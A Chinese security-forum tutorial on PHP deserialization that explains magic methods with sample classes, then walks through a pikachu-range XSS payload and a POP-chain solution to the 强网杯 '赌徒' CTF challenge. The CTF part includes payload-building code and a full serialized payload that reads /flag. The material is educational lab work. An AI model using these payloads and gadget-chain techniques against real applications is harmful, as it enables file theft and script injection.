用户
搜索
  • TA的每日心情
    开心
    4 天前
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    6

    主题

    6

    帖子

    111

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2021-6-6
    发表于 2021-8-5 19:12:18 01726
    PHP反序列化漏洞篇
    本篇文章作者yggcwhat,本篇文章参与i春秋作家连载计划所属从0到1团队,未经许可禁止转载。连载方向:web安全,内网安全。
    目录
    反序列化漏洞分析篇
    1-----------反序列化漏洞分析
    2-----------session反序列漏洞分析
    PHP代码审计篇
    1-----------文件上传
    2-----------SQL注入
    3-----------xss+文件上传
    简介
    介绍一下反序列化漏洞究竟是怎么产生的,其实在反序列化对象的时候,就会触发一些PHP的魔术方法,我知道大家都想知道这些魔术方法是怎么来的为什么会调用,这些魔术方法其实在设计类的时候写在类里面的,魔术方法函数有很多,要写那些就要看具体要实现那些功能了,PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件触发。例子:
    [Perl] 纯文本查看 复制代码
    <?php
      class Person
      {                                   
          public $name;                                                                     
        public function __construct($name="")
        {   
          $this->name = $name;
        }
          function __destruct(){
           echo "完毕";
        }
        /**
         * hello方法
         */
        public function hello()
        { 
          echo "你好:" . $this->name;
        }  
                                                  
      }
    ?>
    这就是一个典型的构造函数和析构函数,学过面向对象的都知道,举这个例子是比较好理解,这也就是魔术方法的用法。所以在反序列化的时候就是会调用这一些魔术方法,如果在魔术方法里面写了一些具有特定功能的函数,比如写入,读取,查询等。那么漏洞就产生了,但是没有写功能的话(如:仅仅只是做输出操作且输出的内容是定好的了,且输出信息没价值)那么漏洞也就不会产生,所以有反序列化不一定有漏洞,如果有反序列化漏洞那么在实战过程中肯定会有很多过滤的这时候就要代码审计绕过了。下面我就介绍一些实战中的一些魔术方法。- __construct(),类的构造函数- __destruct(),类的析构函数- __call(),在对象中调用一个不可访问方法时调用- __get(),访问一个不存在的成员变量或访问一个private和protected成员变量时调用- __set(),设置一个类的成员变量时调用- __isset(),当对不可访问属性调用isset()或empty()时调用- __unset(),当对不可访问属性调用unset()时被调用。- __sleep(),执行serialize()时,先会调用这个函数- __wakeup(),执行unserialize()时,先会调用这个函数  构造和析构相信大家都很了解就不说了。  __call()  当调用一个成员函数时如果它存在就运行它,如果它不存在这就会调用__call()函数。
    [PHP] 纯文本查看 复制代码
    <?php
    class Person
    {               
      function say()
      { 
                   
          echo "你好!\n"; 
      }   
        
      /**
       * 当方法不存在时调用__call()函数
       */
      function __call($F, $A)
      { 
         echo "你所调用的函数:" . $F . "(参数:" ;
         print_r($A); 
         echo "不存在!\n";         
      }                     
    }
    $Person = new Person();     
    $Person->say(); 
    $Person->run("不存在!"); // 调用不存在的方法,则自动调用了对象中的__call()方法    
    ?>
    结果:
    ![image-20210702140748326](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702140748326.png)
    在这里我们可以看到创建了一个对象这个对象它调用了say函数和run函数,say函数作为成员函数里面有但是run函数就没有了这时候就会调用__call()这个魔术方法。__get()当访问一个不存在的成员变量或访问一个private和protected成员变量时调用1、当访问一个不存在成员变量时调用
    [AppleScript] 纯文本查看 复制代码
    <?php
    class Test {
        public $n='Hello, word!';
        // __get():访问不存在的成员变量时调用
        public function __get($name){
            echo '调用此__get(),因为不存在'.$name;
        }
    }
    
    $a = new Test();
    // 存在成员变量n,所以直接访问
    echo $a->n;
    echo "\n";
    // 不存在成员变量A,所以调用__get
    echo $a->A;
    ?>
    结果:
    ![image-20210702155201537](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702155201537.png)
    在这里实例化的对象它访问了这个成员变量n,他存在在类中所以不调用__get()函数,当它调用A时就会调用,因为根本就没有成员变量A。
    2、当访问一个private和protected成员变量时调用
    [PHP] 纯文本查看 复制代码
    <?php
    class Person
    {
      private $name;
      function __construct($name="")
      {
        $this->name = $name;
    
      }
      public function __get($Name)
      {  
       
          return $this->$Name;
      }
    }
    $NAME = new Person("张三");  // 通过Person类实例化的对象,并通过构造方法为属性赋初值
    echo "名字:" . $NAME->name;  // 直接访问私有属性name,因为私有属性不可直接访问所以自动调用了__get()方法可以间接获取
    ?>
    结果:
    ![image-20210702155226916](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702155226916.png)
    对象它访问了一个私有的属性,正常情况下是不能直接访问的,这样就触发了这个__get()魔术方法。
    __set()
    这个的实质是给成员变量赋值是会调用它(其中包括给公有、私有、保护成员变量或者根本不存在的成员函数赋值,实质是这个赋值操作!),在参数初始化的时候是不会调用__set()函数的。
    [PHP] 纯文本查看 复制代码
    <?php
    
    class Test{
        public function shell(){
            echo $this->A;
        }
    	protected $A=1;
        public function __set($name,$value){
            echo "正在赋值!(正在调用__set()函数!)\n";
    		$this->A=$value;
           
        }
    }
    
    $a = new Test();
    echo "初始值为:";
    $a->shell();
    echo "\n";
    $a->A = 111;// 在这里对A这个保护成员进行赋值,所以调用了__set()函数
    $a->shell();
    echo "\n";
    $a->AA = 11;//它对这个不存在的成员变量进行了赋值,所以调用了__set()函数
    $a->shell();
    ?>
    结果:
    ![image-20210702163657360](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702163657360.png)
    在这里他分别调用了保护的成员变量和不存在的成员变量赋值了,所以自动调用了这个__set魔术方法。__isset()当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
    [PHP] 纯文本查看 复制代码
    <?php
    class Person
    {
      public $**;
      private $name;
      private $age;
    
      public function __construct($name="", $age, $**)
      {
        $this->name = $name;
        $this->age = $age;
        $this->** = $**;
      }
    
      public function __isset($content) {
        echo "在类外部使用isset()函数测定私有成员{$content},自动调用__isset()\n";
        echo isset($this->$content);
      }
    }
    
    $person = new Person("张三", 11,"男"); // 初始赋值
    echo "----------------------------------------\n";
    echo "**为公有成员变量\n";
    echo isset($person->**),"\n";
    echo "----------------------------------------\n";
    echo isset($person->name),"\n";
    echo "----------------------------------------\n";
    echo isset($person->age),"\n";
    echo "----------------------------------------\n";
    ?>
    结果:
    ![image-20210702170347387](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702170347387.png)
    从在这里可以看出在访问公有**的时候他直接判断了是否被设定,而在判断name和age这两个私有成员函数的时候他就会调用__isset()这个魔术方法。
    __unset()
    这个魔术方法触发的条件是在类外使用unset函数来删除私有和保护成员函数时会自动调用,但是在删除公有成员函数是不会调用它。
    [PHP] 纯文本查看 复制代码
    <?php
    class Person
    {
      public $**;
      private $name;
      private $age;
    
      public function __construct($name, $age,$**)
      {
        $this->name = $name;
        $this->age = $age;
        $this->** = $**;
      }
    
      public function __unset($content) {
        echo "在类外部使用unset()函数来删除私有成员时自动调用的\n";
        echo isset($this->$content);
      }
    }
    
    $person = new Person("李四", 11,"男"); // 初始赋值
    echo "----------------------------------------\n";
    unset($person->**);
    echo "删除成功\n";
    echo "----------------------------------------\n";
    unset($person->name);
    echo "\n";
    echo "----------------------------------------\n";
    unset($person->age);
    echo "\n";
    echo "----------------------------------------\n";
    ?>
    结果:
    ![image-20210702190130533](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702190130533.png)
    在这里它调用了**,name,age三个成员变量,其中**为public,name和age是private,所以public的没有调用__unset,另外两个就会调用了。
    __sleep()
    要触发它的条件是序列化对象的时候就会触发,可以指定要序列化的对象属性,意思就是说他可以选择要序列化的成员变量。
    [PHP] 纯文本查看 复制代码
    <?php
    class He
    {
      public $**;
      public $name;
      public $age;
    
      public function __construct($name, $age, $**)
      {
        $this->name = $name;
        $this->age = $age;
        $this->** = $**;
      }
      public function __sleep() {
        echo "调用我__sleep()方法\n";
       return array('name', 'age');
      }
    }
    $HH = new He("张三",11,"男"); // 初始赋值
    echo serialize($HH);
    echo "\n";
    ?>
    结果:
    ![image-20210702220245483](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702220245483.png)
    在这里,我们可以看到他只序列化了name和age,这个就是__sleep()控制的(被return控制了),对于序列化之后的字符串对于新手师傅来说有点不好理解,我这里就给一张图片。
    ![20200826194508389](E:\桌面\图片\20200826194508389.png)
    O:2:"He":2:{s:4:"name";s:6:"张三";s:3:"age";i:11;}

    这里O是代表序列号的为对象,2就是代表这个对象它又两个字符,第三个就是代表具体的类值了,到了第二个2就是代表他所序列化的成员变量为2个,再之后大括号里面的就是具体的序列化的变量了,其中到第一个分号为止是代表第一个序列化的成员变量,s是代表为字符串,4位变量长度,冒号里面的就是具体的值了,再到第二个分号就是代表这个变量的具体值得数据类型,个数和具体值了,后面的就依次类推。但是数据类型有很多具体序列化之后,分别用什么表示这里我推荐大家可以去网上找一找,有很多。
    __wakeup()

    他和序列化相反是在反序列化之后就会调用。
    [PHP] 纯文本查看 复制代码
    <?php
    class People
    {
      public $**;
      public $name;
      public $age;
    
      public function __construct($name, $age, $**)
      {
        $this->name = $name;
        $this->age = $age;
        $this->** = $**;
      }
      public function __wakeup() {
        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法\n";
        $this->name = '小吴';
        $this->** = '女';
      }
    }
    
    $p = new People('小陈',10,'男'); 
    $D=serialize($p);
    echo $D;
    echo "\n";
    echo "----------------------------------------------------------------\n";
    var_dump(unserialize(serialize($p)));
    ?>
    结果:
    ![image-20210702225538771](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702225538771.png)
    从结果可以看出他先序列化再反序列化,在反序列化的时候他调用了__wakeup()函数,我们可以看到在初始化对象的时候我们给name和**变量的值为小陈和男,反序列化之后就变成了小吴和女了,这就是触发了这个魔术方法,他里面有赋值功能所以就改变了,那大家想一想如果功能是其他的写入或者读取,数据库查询语句等,那么漏洞不就产生了。
    实战演示
    我们序列化和反序列化原理和常见的魔术方法都学了,那么就举个具体的反序列化漏洞试一试。举一个pikachu靶场:查看下源代码
    ![image-20210702232457533](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702232457533.png)
    可以看到他是以post传参,它对传入的数据赋值给s在对s进行反序列化,如果不能放序列化就会把“大兄弟,来点劲爆点儿的!“写入到网页中,如果能就会用反序列化后的对象访问test成员变量,把它输出发到网页上,这里test变量值可控,就可以构造js代码构造XSS漏洞,这里仅仅只是一个输出,如何写了其他功能,如写了,读取等那么就有更大的危害了。
    那么我们就构造payload,有两种方法。
    第一种就是看些PHP代码进行序列化把结果写入到参数中
    [PHP] 纯文本查看 复制代码
    <?php
    class S{
        var $test = "<script>alert('xss')</script>";
    }
    $a = new S();
    echo serialize($a);
    ?>
    ![image-20210702234316100](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702234316100.png)
    第二种就是看源码直接写它的payload
    O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
    其实也都差不多吧,只要知道原理,两种都能熟练掌握。
    由于是post型,我们就直接在框框里输入或者抓个包改下参数就ok了。
    ![image-20210702234434498](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702234434498.png)
    ![image-20210702234338592](C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20210702234338592.png)
    其实这个pikachu靶场它的反序列化漏洞,是通过反序列化之后的对象,让这个对象来访问这个test变量来实现的。
    再来看下今年第五届强网杯的web的赌徒这一题:
    [PHP] 纯文本查看 复制代码
    <meta charset="utf-8">
    <?php
    //hint is in hint.php
    error_reporting(1);
    
    
    class Start
    {
        public $name='guest';
        public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    	
        public function __construct(){
            echo "I think you need /etc/hint . Before this you need to see the source code";
        }
    
        public function _sayhello(){
            echo $this->name;
            return 'ok';
        }
    
        public function __wakeup(){
            echo "hi";
            $this->_sayhello();
        }
        public function __get($cc){
            echo "give you flag : ".$this->flag;
            return ;
        }
    }
    
    class Info
    {
        private $phonenumber=123123;
        public $promise='I do';
    	
        public function __construct(){
            $this->promise='I will not !!!!';
            return $this->promise;
        }
    
        public function __toString(){
            return $this->file['filename']->ffiillee['ffiilleennaammee'];
        }
    }
    
    
    class Room
    {
        public $filename='/flag';
        public $sth_to_set;
        public $a='';
    	
        public function __get($name){
            $function = $this->a;
            return $function();
        }
    	
        public function Get_hint($file){
            $hint=base64_encode(file_get_contents($file));
            echo $hint;
            return ;
        }
    
        public function __invoke(){
            $content = $this->Get_hint($this->filename);
            echo $content;
        }
    }
    
    if(isset($_GET['hello'])){
        unserialize($_GET['hello']);
    }else{
        $hi = new  Start();
    }
    
    ?>
    在这里我们可以看到他是以get方式传参的,在进行反序列化,这可以看到他是考我们一个典型的pop链,什么是pop链?个人看来pop链就是魔术方法触发魔术方法,触发的是另外一个类里面的魔术方法,环环相扣。回到正题,我们整理一下pop链。
    unserialize() -> Start::wakeup -> Start::_sayhello() -> Info::construct()->Info::toString()->Room::get() -> Room::invoke() -> Get_hint($file)
    可以看到反序列化start类的时候他触发了wakeup的魔术方法,在里面他调用了sayhello()函数,里面他输出了name变量,那如果这个name是个实例化的info类呢?那么就会触发info类的构造函数,在里面他输出来一个promise的字符串,如果promise是个实例化的Info类,就会触发这个__toString(){当把类作为字符串输出是触发},在tostring里面他有个return $this->file['filename']->ffiillee['ffiilleennaammee'];,我们把file['filename']赋值成一个room类那么就相当于访问实例化的room类的ffiillee['ffiilleennaammee']显然这个成员变量不存在那么就会调用get()这个魔术方法,在里面他吧变量a当成一个函数出来了,我们就可以把room类赋值进去,不就触发了invoke魔术方法了吗{当把类作为函数是触发},最后我们看下invoke函数,他调用了Get_hint($file)函数,而这个函数他直接打开/flag这个文件,并且base64加密输出了,得到flag之后解密下就Ok了。
    payload:
    [PHP] 纯文本查看 复制代码
    <?php
    //hint is in hint.php
    error_reporting(1);
    
    
    class Start
    {
        public $name='guest';
        public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    	
        public function __construct(){
            echo "I think you need /etc/hint . Before this you need to see the source code";
        }
    
        public function _sayhello(){
            echo $this->name;
            return 'ok';
        }
    
        public function __wakeup(){
            echo "hi";
            $this->_sayhello();
        }
        public function __get($cc){
            echo "give you flag : ".$this->flag;
            return ;
        }
    }
    
    class Info
    {
        private $phonenumber=123123;
        public $promise='I do';
    	
        public function __construct(){
            $this->promise='I will not !!!!';
            return $this->promise;
        }
    
        public function __toString(){
            return $this->file['filename']->ffiillee['ffiilleennaammee'];
        }
    }
    
    
    class Room
    {
        public $filename='/flag';
        public $sth_to_set;
        public $a='';
    	
        public function __get($name){
            $function = $this->a;
            return $function();
        }
    	
        public function Get_hint($file){
            $hint=base64_encode(file_get_contents($file));
            echo $hint;
            return ;
        }
    
        public function __invoke(){
            $content = $this->Get_hint($this->filename);
            echo $content;
        }
    }
    $a = new Start();
    $a->name = new Info();
    $a->name->file["filename"] = new Room();
    $a->name->file["filename"]->a= new Room();
    echo "\n";
    echo serialize($a);
    ?>
    结果:O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
    要注意下phonenumber他是私有的会加上%00类名%00。其实也可以手写payload的直接看源码写,只要学的精通两种方法都是很好的。
    总结
    这里我主要讲了一些魔术方法,和调用条件,漏洞产生的原理,和怎么看漏洞和写payload,我个人是怎么看有没有漏洞呢,首先我是看类里面有没有一些危险的功能,看下能不能利用,能的话就逆推一下,看看怎么才能调用它,有没有一些可利用的魔术方法再看看他和其它类有没有关联,找找有没有pop链。最后在构造payload的。



    发新帖
    您需要登录后才可以回帖 登录 | 立即注册